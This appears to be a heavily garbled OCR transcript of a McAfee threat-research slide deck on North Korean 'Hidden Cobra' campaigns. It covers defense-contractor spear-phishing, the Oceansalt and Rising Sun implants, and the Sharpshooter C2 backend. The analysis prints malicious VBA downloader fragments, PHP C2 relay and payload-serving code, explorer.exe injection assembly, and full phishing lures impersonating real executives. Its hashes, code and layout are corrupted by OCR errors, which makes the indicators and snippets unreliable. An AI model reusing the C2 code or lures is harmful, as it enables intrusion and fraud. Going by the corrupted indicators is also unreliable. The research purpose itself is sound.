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Background on Hidden Cobra

How does this differ from Lazarus, Bluenorff?
» Hidden Cobra refers to the U.S Government and public sector’s overall classification of North Korean
cyber offensive programs

« This naming convention refers to multiple activity sets that the private sector has attributed to
different names

 Lazarus

*  Bluenoroff
* Andariel

« APT37

» The target objectives of these groups are different when compared to each other

« All the actions of these groups despite, different objectives still fall under the general classification of
Hidden Cobra
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3yr Cyber Operational Review

A review of notable cyber activity

* ATR researched and documented targeted intrusions throughout 2018 / 2019
attributed Hidden Cobra

* A review of some of the notable activity and their relations to Hidden Cobra have
revealed interesting patterns

March April
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3yr Cyber Operational Review

Operation Ghost Secret

* Implants using code from the Destover Trojan

* Re-use of SSL certificates that have appeared in previous
operations

« Some re-use of infrastructure from 2014 Entertainment
Company attack

« Complex data recon implant
» Originated from code developed in 2015

» Utilized a covert listening network using a component
known as ProxySVC

« Targets: Health, Education, Energy, Telco, Government
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3yr Cyber Operational Review

Operation Ghost Secret — implant code lineage

ProxySVC Dropper (exe)
SHA-1: 33ffbc8d6850794fa3b7bccb7b1aal289e6eaads

Detection: Trojan-Bankshot2
Compile: 5.30.2017
Submitted: 3.19.2018 — 4.25.2018

rtainment Company’ 2014
Destover (HIDDEN COBRA
SHA-1:
8a7621dba2e88e32c02fe0889d2796a0c7cb5144
Detection: BackDoor-FDOP!99846F417C95
Compile: 10.29.2014
Submitted: 12.17.2014 — 12.19.2014

ProxySVC Implant (dll)
SHA-1: d840dc4eda1132793fffdf4b064000cfc499942d
Detection: HiddenCobra-D
Compile: 7.13.2017
Submitted: 3.22.2018 — 4.10.2018

Detection: RDN/Generic BackDoor
Compile: 8.18.2015
Submitted: 9.15.2015 — 4.25.2018

2018 Hybrid
SHA-1

fe887fcab66d7d7f79f05e
0266c0649f0114ba7c

2017 Hybrid
SHA-1:

8f2918¢721511536d8c72144ea
baf685ddc21a35

Detection: Trojan-
Bankshot2
Compile: 2.12.2018
Submitted: 2.14.2018 —
4.25.2018

Detection: Trojan-Bankshot2
Compile: 8.1.2017
Submitted: 9.19.2017 —
11.21.2017
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3yr Cyber Operational Review

Operation Ghost Secret — code linkage

Share the same SSL Cert (Polar SSL/Fake TLS)

Same PE rich header data

2018 Hybrid

Hardcoded C2 of
14.140.116.172

ProxySVC
Dropper

ProxySVC
Implant

Uses Thamstat C2
— same entity that
hosted the control

Share nearly the
same C2 traffic

DLL

2015 Destover-like
Hybrid

DLL

Entertainment
Company 2014
server for the Destover
Sony picture

attack

HIDDEN COBRA

Evolution: Command handler index evolution

for commands:

* Reads the file content (instead of just the
name)

» Sends complete file (instead of just the

name)
» Securely deletes by overwriting itself where

it cannot be recovered (instead of does not
delete)
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3yr Cyber Operational Review

Operation Oceansalt

» Targeted campaign first appearing late May 2018 targeting
Korean speaking persons.

« Five Malicious documents were sent to victims containing
Korean language subjects (predominantly financially
related).

«  Consistent author of “Lion” found embedded in the
document metadata. Documents also contained metadata
including Korean language codepage; indicating it was
created on a Korean language machine. Documents were
created between 5/18/2018 to 6/4/2018 by the same Lion
author.

* Malicious documents included VBA script that downloaded

implant that reused code from APT1/Comment Crew

SEASALT implant that was observed in early CC B auest pata(®), 1 1evtestend)

operations. -

brivate Sub Workbook_Open()

Dpen strFile For Binary Access Write As iFile

Close iFile
bRes = ShellExec (8, ", strFile, ", vbNullString, vbMormalFocus)

ption Explicit

Private Declare PtrSafe Function InternetOpen Lib "wininet.d1l" Alias "InternetOpenA” ( _
ByVal 1pszAgent As String, _
ByVal dwAccessType As Lon

MCAFEE CONFIDENTIAL I McAfee | 10



3yr Cyber Operational Review

Operation Oceansalt .

3 _mainen291i ...
ecx, 41h ; jumptable 96481763 default case

CnC: ; CODE XREF: WinMain(x,x,x,x)+33D}j
} Pgs

2= Original

len

Seasalt

New data reconnaissance implant created based on
SEASALT source code from 2010. Oceansalt wouldn't
be possible without direct access to original source.
Designed as a system gathering implant with reverse
shell capabilities.

Not just SEASALT re-compiled, rather a new implant
created incorporating SEASALT code. Research shows
actor has access to entire source code down to the
Visual Studio solution files.

Implant first appearing to be distributed June 1st, 2018
on a hacked South Korean website belonging to the
Korean Orff Schulwerk Association (SK teachers
association).

Multiple ‘debug’ versions were detected between
6/13/18 to 7/16/18 that contacted a few C2s. Debug
versions contained interesting strings, not found in
initial OCEANSALT.

Oceansalt

dd

hSE55YE5°

$T35IFITTTSIINEL:

CeoazemeoTTRTT S
3383 FESBEREES

5 switch 12 cases basel
2 : junptable 00402364
nd_index_table[eax=4] ; switcl
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3yr Cyber Operational Review

Operation Bankshot

* Operation that targeted the Turkish banking
sector

» Utilized an implant known as BANKSHOT as
referred to by the U.S government
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3yr Cyber Operational Review

Fake Job Recruitment

March 2017 April 2017 May 2017 ; June 2017 July 2017 August 2017 September 2017 October 2017 November 2017

Virtual Defense Contractor South Korean Virtual Defense Contractor US Financial Targeting US Virtual Virtual
Currency targeting Currency (THAAD) Sector Energy Sector Currency Currency
Exchange Exchange Exchange Exchange
Targetin Targetin ——— i Targetin

S Defense Contractor S Defense Contractor _ Targeting geting
(AEHF program) VII’tEa| I?UI‘I‘GT’IC}’
South T South
Korean Korean
Aerospace targeting Defense Contractor targeting
Company (UAV program
South
Korean .
targeting Virtual
Currency

Exchange
Targeting

¢ Uses malicious VBA macro code to install
implants on target systems

» Targeting key military systems in Korea

» Consistent decryption routine and dropper
dating back to July 2016

*  Multiple targets outside of South Korea
* Heavy focus on virtual currency targeting

» Discovery of attacker using Encapsulated Post
Script (EPS) in some Hangul Word documents
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3yr Cyber Operational Review

Fake Job Recruitment

» Attackers setup elaborate spear phishing campaign to target
employees at major defense contractors involved key defense systems
on the Korean Peninsula

» Attackers create decoy documents with a job recruitment theme or
other related topics and impersonate recruiters from credible sources
or other contacts within the target’s organization to deliver spear
phishing emails

» Attackers deliver malicious documents via links to a compromised
location where the malicious documents are hosted

+ The backdoors dropped by the malicious documents targeting two
defense contractors contain the same API string obfuscation as the
Troy32 implants used by Lazarus Group
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3yr Cyber Operational Review

Fake Job Recruitment

From April 17t - July 17™ 2017 major US defense contractors were targeted

Individuals involved with key military programs relating to Korea were sent targeted spear
phishing emails
Hidden Cobra was interested in programs relating to:

+ Terminal High Altitude Area Defense (THAAD)

* Advanced Extremely High Frequency (AEHF)

* Relocatable Over the Horizon Radar

*  Unmanned Aerial Vehicle (UAV)

»  Sikorsky Helicopter program

This operation was part of an elaborate impersonation campaign to ‘trick’ individuals into
opening malicious document files

Malicious Microsoft Word documents disguised as job descriptions for roles involved with
THAAD, AEHF OHR & Sikorsky.

*  Documents load an implant on the victim’s system
* Implant would communicate to command and control (C2) over FakeTLS custom protocol

McAFEE CONFIDENTIAL
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3yr Cyber Operational Review

Fake Job Recruitment Operational Time-Line

Sikorsky Helicopter

THAAD System AEHF System MQ-4C Triton UAV

JuIy 2017 July 2017 July 2017

April 2017 Raytheon Operated ROTHR

U.S. Navy ROTHR
2.6-km Receiving Array

H l'w-

April 2017
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3yr Cyber Operational Review

Fake Job Recruitment — Helicopter Military Program

« The attackers began targeting Major Defense Contractor in April 2017. Based on the content of the
decoy document, it is likely that the attackers are interested in obtaining US cutting-edge
technology pertaining to Black Hawk helicopters through compromising individuals who works for
Defense Contractor or have knowledge of the helicopter manufacturing technology.

» The attacker who impersonated the Current SOC Manager and specifically mentioned “the
Helicopter environment” and “the aerospace and defense industry” in the spear-phishing email
sent in April 2017. The US has close to 30,000 military personnel deployed to the Korean
Peninsula. Air Forces Korea currently operates Black Hawk helicopters., F-16s, and other
advanced fighter jets.
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3yr Cyber Operational Review

Fake Job Recruitment — THAAD Missile System

In July 2017, the attackers sent a spear phishing
recruitment email that contains a detailed job opening .
for Mechanical Integration Engineering Mgr. The job Harmsee,
description listed in the decoy document is identical to R

the actual job opening published on a Defense -
Contractor’s website on 28 June 2017, and both job D o e s
locations are in Sunnyvale, California. ”

ssssssssssssssssssss

Malicious Document containing
legitimate position

ACE SYSTENS
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3yr Cyber Operational Review

Fake Job Recruitment — Impersonation efforts for Defense Targeting

©
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persona account

Tweets
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support missions from the depths of the
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Follow
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3yr Cyber Operational Review

Fake Job Recruitment — Energy Sector Targeting

Dear REDACTED,

We are holding a fund-raising concert on September 24 at 10:00 in Dayton.
We would like to extend a personal invitation to you and your partner.
The opening ceremony will be performed by Mr. Waldo. Among those who have
also indicated their willingness to attend are Joseph *and James
I °1case contact me if you would like to accept this invitation.

I look forward to meeting you on what I am sure will be a most successful
occasion.

Sincerely,

TSF means Theater Air Naval Ground
Operations Security Force

@ Secure | https://www.facebook.com/tangosf/

Theater Air Naval

Spear phishing sent to a major power distribution company by individual from
malicious email
Subject: Fund raising event

Ground Operations

Security Force
@tangosf

Home

1l Like

Photos

# SuggestEdits

Government Organization

Aways Open

Community See Al
1 688 people lie this

A\ 680 people follow this

About See Al

©  TANGO Security Force
K-16 South Korea 96202

veww usfkmil

6 Govemment Organization

Owner - Entertainment Manager and Promoter at The GigGal

The GigGal

Charleston, West Virginia Area « 62 88

et N
Presider’ ricar Power

Amesic ‘”ﬂe

2n M. Ross School of Business

Columbus, Ohio Area + 303

Real person Hidden Cobra is
impersonating

Spoofing real executive
from energy company

Jame!

Managing Director, Trans on irojec(s at American _

American Darden Business School

Tulsa, Oklahoma Area « 500+ 88

Spoofing real executive
from energy company

McAFEE CONFIDENTIAL
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3yr Cyber Operational Review

Fake Job Recruitment — Troy32 Implant

hansingturbo.org - /docs/

Historically Hidden Cobra has used the term Troy in
their backdoor code, especially those tied to the [To Parent Directory]

Escad Thursday, August 03, 2017 8:36 AM 139264 WebDAV.exe

Uses Korean language compiler

Two malicious documents targeting defense

contractors were hosted at # FileVersioninfo properties
hxxp://210.202.40.35/CKRQST/Company/HR/Pos Copyright
ition/Im/L1915.doc

] Product

hxxp://210.202.40.35/CKRQST/event/careers/jobs .
/description/docs/NGC1398.doc Original name

Troy32 Implant used 210.202.40.35 as a command Internal name

and control File version

Description

Implant was distributed from lansingturbo.org as of

Copyright © 2016
default

default

Troy32

1,0,0, 1

default

August 39, 2017

Uses the same type of SSL certificate (FakeTLS)
that was used in the implants found in Sony Pictures
Incident

McAFEE CONFIDENTIAL
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Insiders Look at Hidden Cobra Cy
Offensive Programs

An analysis of impersonation

* Hidden Cobra cy
impersonating pe
to their targets

Actor has ,



Insiders Look at Hidden Cobra Cyber Offensive Programs

Skilled at Impersonation

« ATR discovered impersonation
operations targeting DIB from 2016-
2018

» Targets have association with email
theme

« Operations are tracked using hidden
pixels to transmit if the operation was
successful

T
Drex ersity Alumni Association <campbelldavid793@gmail.cormn>
Alumni Weekend 2016

[0 Michael.Iori@!

@ Click here to download pictures. To help protect your privacy, Outlook prevented automatic download of some pictures in this message

5|

A

Celebrate being a Dragon at Alumni Weekend 2016 on May 6 and 71 Whether you come for one event or the whole packed weekend, you'll leave

Targeted email sent to employee

inspired and proud to call Drexel home! Leam more at hitp:iidrexel edu/alumniweekend

Hidden Pixel

Education Employees Educational background

Wl Drexel University

Master of Business Administration (M.B.A.), Entrepreneurship/Entrepreneurial Studies
2014-2016

Drexel

' Defense
Contractor
[N

Employee
Michael PMP - 3d

Program Manager at

McAFEE CONFIDENTIAL
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Insiders Look at Hidden Cobra Cyber Offensive Programs

Skilled at Impersonation

» Hidden Cobra
conducted an
operation
impersonating
English speaking
persons Senior Associate

T A
Contractor

Wesley

» Targets included US
Defense, Energy, ‘ ‘Prgject Manager- USG Proposal Management

Financial and other o
organizations ‘ —
« Actor was
responsible for ke Twitter
sending muItipIe ‘‘‘‘‘‘‘‘‘‘‘ o account created
recruitment emails for reerutter )
Text of spear phishing

to defense industry.

email sent to victim

Malicious documents
containing jobs from defense
| contractors
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Insiders Look at Hidden Cobra Cyber Offensive Programs

Skilled at Impersonation

» This operation targeted
individuals involved in the
energy sector with a fake
fund-raising concert

» Actor used names of real
executives from an Energy
company local to where the
event was to be held

» Actor impersonated an event
manager and promoter

James
Managing Director, Transmission Engineering

from energy
sector

Joseph

Senior Vice President

Electric Power

Meredith

Impersonating event
manager and
promoter

Owner - Entertainment Manager

Dear REDACTED,

We are holding a fund-raising concert on September 24 at 10:00 in Dayton.

We would like to extend a personal invitation to you and your partner.

The opening ceremony will be performed by Mr. Waldo. Among those who have

also indicated their willingness to attend are Joseph and James
N Please contact me if you would like to accept this invitation.

I look forward to meeting you on what I am sure will be a most successful

occasion.

Spear phishing email using Energy
Executive names as credibility
--089%e08e52be95b38a40559¢c6370¢c

Content-Type: text/html; charset=utf-8

Content-Transfer-Encoding: quoted-printable

Sincerely,

<div dir=3D"1ltr"><span style=3D"font-size:1l4px">Dear=C2=A0 REDACTED=
,</span><br style=3D"font-s :14px"><br style=3D"font-size:14px"><spa=
n style=3D"font-size:14px">We are holding a fund-raising concert on Se=
ptember 24 at 10:00 in Dayton. We would like to extend a personal invi=
tation to you and your partner.</span><br style=3D"font-size:14px"><sp=
an style=3D"font-size:14px">The opening ceremony will be performed by =
Mr. Waldo. Among those who have also indicated their willingness to at=
tend are Joseph Buonaiuto and James Berger. Please contact me if you w=
ould like to accept this invitation.</span><br style=3D"font-size:14px=
"><span style=3D"font-size:14px">I look forward to meeting you on what=
I am sure will be a most successful occasion.</span><br style=3D"font=
—size:l4px"><b: style=3D"font-size:14px"><span style=3D"font-size:14px=
">Sincerely, </span><br></div>
<img height=3D0 width=3D0 src=3D", 1i
3-321a-49ec-bled4-e5841216822dsamp; c=3D1461717">
--089%e08e52be95b38a40559¢c6370c——
--089%e08e52be95b38a70559c6370e

Content-Type: application/msword; name="Nevada.Pol.917.doc"
Content-Disposition: attachment; filename="Nevada.Pol.917.doc"
Content-Transfer coding: base64

X-Attachment-Id: f_j7vus2jm0

--089e08e52be95b38a70559¢c€6370e~~
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Insiders Look at Hidden Cobra Cyber Offensive Programs

Skilled at Impersonation

» Impersonating recruiters at US aerospace
companies.

» Cyber actor did recon prior to constructing the
email. Targets were very specific to the job
advertisement.

» Spear phishing email did not contain malicious
content. Redirected user to legitimate job site. The

actor likely interacted with the subject followed by
malicious code.

+ Hidden within the email contained a click tracking
link with code for a service called Gmass. The
tracking link was present in a hidden image and
“Click Here” link. Indicating these messages were
sent via Gmass service and the actor tracked
victims this way.

Kristin <kristir @gmail.com>
EHS S Manager Targeted spear phishing email for job
recruitment

Your experience matches well and T would encourage you to take alook at the opportunity. Please, add your Resume if you are interested to this email address
Thank you,

Kristin
Lead Talent Acqusition Recruiter

came across your profile on LinkedIn and thought you may be interested in leaming more about our EHS Sr Manager position at Our company is seking qualified person to fill the job opening of EHS Sr
Man

Kristin
Sr. Manager Strategy and Market Development

Lisa

Sr Statt Environment, Satety and Health Engineer

McAFEE CONFIDENTIAL

I McAfee |

27



©

The path to Operation
Sharpshooter



The Path to Operation Sharpshooter

The path leading to exposure of backend operations

* Op Sharpshooter was a global campaign that
appeared in 2018

* New activity appeared in 2019 with additional
targets in the Middle East

* Anew implant known as Rising Sun was used
against targets

« Through coordination with international law
enforcement, McAfee ATR obtained a copy of
the backend code

« This code provided valuable insight into the
Rising Sun implant and how the backend
worked

+ ATR discovered linkage to other Hidden
Cobra attributed campaigns

« With this insight we could effectively map
back activity to 2017

McAFEE CONFIDENTIAL

I McAfee | 29



The Path to Operation Sharpshooter

The path leading to exposure of backend operations

C ACtOr used Com prom ised Se rve rS to hOSt File Manager - Current disk free 390.7 MB of 3.46 GB (51.03%) Webshe” |nsta”ed
I 07 v (Aitable)
command and control code -

\WebRoot | ScriptPath | View All | View Writable ( Directory | File )| Create Directory | Create File

A C h i n ese We bS h el IS We re u Sed to m a i nta i n Find str;::;:zs(cuneminldsr):‘ ‘ Find 73 ‘php‘cg\,p\,asp,mc‘js‘htr Regular Ei:v::::;eu _

persistence to the asset I

Stat

—
» Actor connected via Express VPN service to . I =
manage the hacked assets

Delete selected

Powered by PhpSpy 2011. Copyright (C) 2004-2011 Security Angel Team [S4T] All Rights Reserved.

"GET /online/public/notice.php HTTP/1.1" 200 360 "-" "Mozilla/5.0 (Windows NT 6.1) aAppleWebRit/537.36 (KHTML, like

"POST /online/public/notice.php HTTE/1.1" 302 - "https://www. online/public/notice.php™ ™
"POST # online/publici/notice.php HTTP/1.1" 302 - "W online/public/notice.php” "
"GET S&m@j&é/ otice.php HTTP/1.1" 200 37705 "https://www. i i i

"GET gotice.php HTTP/1.1" 200 37705 " H . i

"POST fonline/public/notice.php HTTP/1.1" 200 7216 " H .

"POST /online/public/notice.php HTTP/1.1" 200 7216 "
"POST /online/public/notice.php HTTP/1.1" 200 7350 "

McAFEE CONFIDENTIAL

I McAfee | 30



The Path to Operation Sharpshooter

Using shared TLS certificates to track infrastructure

« Some malicious TLS certificates were identified
and associated with C2 infrastructure

« Based on the TLS certificates we identified more
C2s using the same certificate

* In these operations we often find shared TLS
certificates use for C2 protocol, this enables
hunting for more infrastructure

5§ 89.249.67.29
M247 (9009) Leeds, England, United Kingdom H H
Windows 3389/rdp, 443/https, 80/http Shared TLS Certlfl cates
1s7 * wikipedia.org
443 https tis.certificate.parsed.fingerprint_sha256: 27694763ddfa0d73264c63090935fb76fc5dada395779723391e31cebd6e614

5§ 89.249.67.30

M247 (9009) Leeds, England, United Kingdom
Windows 3389/rdp, 443/https, 80/http
ns7 * wikipedia.org

443 https tis.certificate.parsed.fingerprint_sha256: 27694763ddfa0d73264c63090935fb76fc5dada395779723391e31ceBd6e614

58 222.239.90.215

SKB-AS SK Broadband Co Ltd (9318) Republic of Korea
Windows 443/https, 80/http
K.System ver.5 Genuine Updater *.wikipedia.org

443 https tls.certificate.parsed.fingerprint_sha256: 27694763ddfa0d73264c63096935fb76fc5dada395779723391e31ceBd6e614
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The Path to Operation Sharpshooter

The path leading to exposure of backend operations

Prominent Threat Activity Time-Line

11/7/2018
1/8/2018 3/14/2018 9/23/2018 Emergence of Rising Sun v2
rgence of Rising Sun v1 Emergence of Rising Sun v.1.1 Operation Sharpshooter Begins
2/1/2018 3/1/2018 4/1/2018 5/1/2018 6/1/2018 7/1/2018 8/1/2018 9/1/2018 10/1/2018 11/1/2018 12/1/2018 1/1/2019
1/8/2018 1/14/2019
11/19/2018
2/14/2018 Targeted Attack Against Defense Contractors

Crypto-Currency Attacks

MCAFEE CONFIDENTIAL I McAfee
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2017 Lazarus Defense

2017 Lazarus Crypto p
Contractor Targeting

2nd Stage Implant

v Dropper Rising Sun V2 Currency Attacks
063C4B4F99FID04EBED771C17ADD1D68 u:' :' o Locesote SO Passware G Proaciarsaded
/I ' \ g ) ;
/ \ —» o
I/ A
g = ’
3bde9d3dfa43535530428ce71bafbcf0  swimmmmun st Lgberostanreret *”mwﬁﬂ STes0ziests Same Macro Different Payload
) Rising Sun V2
= — /
s b + ,
81.92.202.174 89.249.67.29 ,( 27 207 2T 2487 { 222.122.31.115 39.16

( ~ N ST Z s o

@ 27694763ddfa0d73264C63090935M07... 2 Tio B

Document in Isreal Operation Sharpshooter
Aerospace Attack

The Path to Operation | Links o other Hidden

Cobra espionage

Sharpshooter | campaigns
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The Path to Operation Sharpshooter

C2 backend component analysis

+ Backend was based on Python
code, other iterations were
found written in ASP language

Threat Actor

+ Backend used a multi-layered
approach to relay commands to
a master server

Connect

« Backend was custom coding
written by the adversary

* We can date the usage of this
server to 2017

+ ATR discovered additional C2s
with more implants from

Notice.php

Webshell

Primary C2
23.227.207.185

Running TinyProxy
1.84

Intermediate C2
Hacked Server

Direct Access to Server
Express VPN
Iommand Rely
onnect
Mainmenu.php Framework.php Vendor.php
Command Interpreter Implant Downloader Implant Downloader

Server Web Directory T

Get Commands / Send Data

V_,
[

|

Download RisingSun V2

Apple.png

Mypng.png
Encrypted EXE Downloader
Download and
Decrypt

Download
Downloader

Download
RisingSun v2

I

previous campaigns that used
the Sharpshooter backend
framework
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The Path to Operation Sharpshooter

Deep Dive into components

* Free: write infected end-point’s
IP to a log file called
jquery2017.js .

* Query: Write the data gathered .

from Rising Sun implant <., e
- Suggestion: read the data from .
the name file and presentitto ./~
intermediate C2 ~ <--—-—""" i
* Result: send the results of A
command execution to actual C2<~—

ﬂ’,
-

Set: obtain a new C2 IP address .
of the actual C2 (master) ¢---——"

Command handler and data acceptor (mainmenu.php)

Hvarl_enum=<random_number>spage=<request_type>&wr_id=<encoded_time_stamp>&session_id=<RC4+base64 encoded data>

where varl _enum =

{

Obfuscation of Commands
(random names with no

meaning)

}

request_type=

}

{

"free" //indicates initial recon data - first connect to CnC

"query" // indicates request to fetch the command if from the CnC ===m=m=——eeo____ Data Format
"suggestion" // indicates request to fetch additional data from cnc T T==el_

"result" // indicates data obtained from the command's execution on the endpoint by Risingsuxr ~~~~~~

"set" // indicates command for the CnC to set the IP of the actual CnC server in its config file — “~<

<varl_enum>=<random_number>&page=sugge

stion&wr_id=<encoded_time_stamp>&name=jq «

uery2017<encoded_time_stamp>09.css

I McAfee |

~
~~
———
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The Path to Operation Sharpshooter

Deep Dive into components

* There was additional
functionality that was
custom coded

writelog();

Function checkip ()

¢

iE(lempty (§_SERVER['HITE_CLIENT I2'1))

§ip = §_SERVER['HTTE_CLIENT T2'];

elseif (lempty(§_SERVER['HTT2
$ip = §_SERVER['HTT:

else

$ip = §_SERVER['REMOTE_ADDR'];

//if(checkip() 1= 1)

/4 die();

X_FORWARDED_FOR']))

RUARDED_FOR'1;

Check IP against hashed IPs

Af(md5 (substx ($ip, 0, 2)) =

return 1;

3962 £5394697c1b4be3Tebc20ce5023" || mdS (substr ($ip, 0, 9)) = "89aceccebd337cddbecdlcdledl787a6")

function DeleteLogFiles()
{
Gunlink ("ptyle20170925[". s_E’OEIT["-.'rild'] ."256.¢cs8");

Gunlink ("|sty

Sindex = 0;

while (1)

$ConFile =

Connection opened to the actual

command and control server by

{ the intermediate command and
control server.

if (@file exists($ConFile))

s

$fp = @fopen($ConFile ,

"r"):
Sconfig = @fread($fp , filesize($ConFile));
@fclose (Sfp):

Sconfigary = @explode(':', $config):;
$ip = $configary[0]:
S$port = $configary[l]:;
$fp = @fsockopen($ip, S$port,

S$errno, $errstr, 30);

{
$fileName = "jgquery2017".$_POST['wr_id'].$index.
if (@file exists(§fileName))
@unlink ($ fileName) ;
else
break;

$index ++;

Delete Log Files
Function

"9, css";
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The Path to Operation Sharpshooter

The analysis of Mypng.png

Designed to target Middle East aerospace
companies

First stage implant used by the actor to collect
basic data and install further implants alive=verify_session&page=<base64_encode

Retrieved by Framework.php hosted on the d_path_of_self>&session_data=<base64_enc

command and control server oded_process_filepaths> Data format
Capabilities

 Gets HTTP user agent

+ Collects and sends file path with running

processes
lea rdx, [rsp+BEC8h+me] ; lpme
mov rcx, rbx H hSnapsnnt
 As aresponse to HTTP POST, Vendor.php erf s SN N Implant
el test  eax, eax injecting into
sends apple.png (Rising Sunv2) to B Hechamen miect
lea vex, [rsp+OECSh+Dst] ; Dst ry
Myp ng . png ﬂgil ﬁgﬁép;'fgh ; SizelInWords
. loc_13F5A2324: 5 CODE XREF: inject_code_into_explorer_process+D8Tj
* Once the contents of apple.png file are M e
downloaded from CNC decrypts Rising Sun loc_13F5A232D: Lea vax, [rsp*BEcshﬂgsg‘;DE gl:llig inject_code_into_explorer_process+a3tj
) lea rcx, Str1 3 "c:i\\windows\\explorer.exe™
1 call _wcsicmp
v2 into memory AT
now  venl bar L Cnapohat
call cs:Process 32NextW
test eax, eax
jnz loc_13F5A22A0
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The Path to Operation Sharpshooter

Tracking additional C2s — analyzing the HTTP request header

« Tracking additional C2s was possible e
1 orm item: "page" = "free" HTTP R t fi Rising Sun implant 2018
by knowing the HTTP request format b rorm item: Tpager - "free” | equest from Rising Sun implan
aSSOC|ated Wlth Command Interpreter D Form item: "session_id" = "bO®S5AAJIvr8aSrLiMTbtv5ncGGI9jaQbdilHajNgGscR4MDZMXSI13siBy2DhIaVR5]
« Command interpreter accepts a h — . = he TR f
e . is names are random, the .. e request format is
specific format, C2 backend provided difference is not significant Very Similar 4. o
insight
. .. . HTML Form URL Encoded: application/x-www-form-urlencoded
« We dISCOVQFed additional C2s hOSt|ng P form it:: ::2;’;;5?13"..:,_;573" HTTP Request from Op Sharpshooter
ASP COde InStead Of PHP g :z:rmn i::: ":;;;gonjidisilﬁzIOFACtTA4frGPkpxdmngSGHYeﬂ-‘lilNh7Yc8LJFqDLsEUOUZYaxPNFFxCSBachcZCqlr
« This indicates the backend was adapted
into two code formats to be able to be run ~ FOST Jwebrine/bottom aze ATTR/1 liin
. P Expert Info (Chat/Sequence): POST /webzine/bottom.asp HTTP/1.1\r\n
on any kind of platform RISt ir borron e
cacioduest version: HTTP/I-1 ASP based command handler
* In the request header ‘Accept-
Language, we |dent|f|ed North Korean Content-Type: application/x-www-form-urlencoded\r\n
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%*/*;q=0.8\r\n
Ianguage Set Accept-Language: ko-kp,ko-kr;g=0.8,ko0;g=0.6,en-us;g=0.4,en;g=02.2\r\n

Accept-Language Setting in request
header (ko-kp)
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The Path to Operation Sharpshooter

Deep Dive into components

* Vendor PHP file is used to

Log remote IP and identifier to a log called
jquery2018.js with timestamp

« Whitelist checking of client IP against
specific MD5s

 Checks HTTP User Agent

« Checks to see if the POST request contains
the parameter alive=verify_session

« Script will serve the file apple.png to the
infected client

if(!stremp ($_POST['alive'],

{

@readfile ("apple.png™);

"verify

session"™) && file exists ("apple.png”™))

Vendor.php serving apple.png to downloader
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The Path to Operation Sharpshooter

Evolution of the Rising Sun Implant
The Evolution of Rising Sun Implant

Execute commands

Get drive information

Launch process from Windows binary
Get processes information
Terminate process

Get file times

» Variations of Rising Sun can be

traced back to as early as 2015 RisingSun Implant

«  Another indication that the backend McAfee: 8€ ot capabilites
framework has been used for years Together is power.

to support operations X
Version

+ ATR can trace a linage of samples Similarities €% API Resolution in Code
d

originating in the public domain G2 contiguration mformation: Contans URLS
gOIﬂg baCk tO 201 7 "ﬁf" / and IP addresses of the CnC servers
0 \

Local configuration data: Contains Privilege
— names, VM related strings, Registry keys etc

Read a file
Write a file to disk
Delete file

Get additional file information
Connect to an IP address
Change file attributes

Variant of change file attributes

API Resolution Techniques

Data Configuration

Differences

C2 Configuration Location Data Communication Mechanisms Deployment Techniques

Distributed via malicious document
that inject shellcode into Word process.

Hardcoded configuration data blobs HTTP POST requests with optional
in the implants itself. HTTP data in a specific format.

Distributed via downloader binaries.

Uses a file on disk in the currently Different set of HTTP headers to Distribution techniques currently
logged in user’s profile folder to read transmit the data to its CnC unknown.

the C2 configuration data from. i

Embedded resources in the binary Uses SSL to connect to its C2 IP i

containing the RC4 encrypted CnC

addresses with hardcoded certificates. | :
data. H
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The Path to Operation Sharpshooter

Actors using West African nations to launch attacks

* Log files recovered indicate actor used
Namibian |P address space to test the
Rising Sun implant

jestern
Sahara
Mauritani ia

, Seneo:

e Gambia

‘‘‘‘‘‘‘‘‘

ananan

Log file from command and control

4 Afghani
Morocco, dorda ; ghanistar
Algeri
oere Libya Egypt
Riyath
j
g United
Mecea SaUdiArabia  Emiates
= N
RedSea .
Mali Niger
Sudan -
Chad Eritrea Yemen
Bukina N -
Faso ojbouts
T senin )
{ eria
| e [ = Ethiop
* Ghan: Central . SouthSudan
| lotagos African 3
| cameroon Republic
Gulfof Guine S
atoril ) Somalia
Ry _Uganda
Kenya
Gabon J ( {
/ I Y
Ruands Maiob
Burun
aaaaaaaa }
Tanzania
N\ paresSaeam
Luanda
3
Angol o M
Zambia malavd
- — ~— Ne / Mozambique
——\
06 Zimbabw
A | Madagascar
\ Namibia Botswana
mmmmmm
06 [ Eswatinl
' Lesotho
o South Africa ~ 2uPen

cccccc
i
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The Path to Operation Sharpshooter

2019 Activity — additional targeting in the Middle East

* Additional activity was observed
in 2019 targeting an Israeli
defense contractor

« Within the Accept-Language
parameter in the email header,
Korean language was present

« Attached file exploited CVE-2018-
20250 involving a WinRar
vulnerability

* Masquerading as SysAid product
documentation that actually
contains a Rising Sun
downloader

EE) n
MESSAGE

Delete Reply Reply Forward [ 1,
Al

aaaaaaaaaaaa

15T AP BN SYSAID
T 1

Wesiage 1] Rsssis-oocumertatonsor 0 1)

) X @ ﬁ",{_ (3 Ebing |7 Gt

s e YA N (D T® - o
Vi ot (¥ Q
= Move acionse Mak " | zoom
= e Unread
s 6 wow o B am Za0m

Wea 52013343
Yosi I <o, o

SYSAID - g+ Bsysald o Yreg Y
RoREec:

Targeted Email sent to Victim

Message-1d:
<AJEA145C65A574458D1CCFD7C300498358352529@AsInt-HQ-EX02. Domain. local>
Received: from ASINT-HQ-EX02.Domain.local ([£eB0::80b6:3£fc3:38¢3:1£3d]) by
AsInt-HQ-EX0l.Domain.local ([feB0::644e:a6f2:2£63:a2d8%14]) with mapi id
14.03.0352.000; Thu, 7 Mar 2019 07:42:00 +0200

Thread-Topic: =?windows-12552B25Pné7vkgd eH3+eQg7PL] 6+XvIFNZUOFJRA==2=
Thread-Index: AdTUgJZiMBvOFt23800/WX3As/AkeQ==

Accept-Language: he-IL, ko-KR, en-US |

Content-Language: he-IL

X-Ms-Exchange-Organization-SCL: -1
X-M$-Exchange-Organization-AuthSource: AsInt-HQ-EX01.Domain.local
X-M3-Exchange-Organization-Authis: Internal
X-M3-Exchange-Organization-AuthMechanism: 04

X-Originating-IP: [172.16.0.30]

Contents of WinRar file

(eval opy)
“ [
\ o
Wizard  Info | VirusScan

34 Email Header

Location to bad file

[ C:

{5 Vendor-Landscape_Mid-Market-Service-Desk-Software.pdf
[ Thumbs.db.Ink

51 Read up on SysAid.pdf

& InstandDemo-Preview.png

|5 How to download SysAID 18 for Windows.bt

5] Contact Us.tt

& Contact Us.png

51 Cloud Release Notes _ Syshid.pdf

51 Bug Fixes 17 - Cloud.pdf

5] About Sysid and our customer commitment.pdf

Size
o copy)

sese 1 = Rising Sun Downloader

57 i e @ @

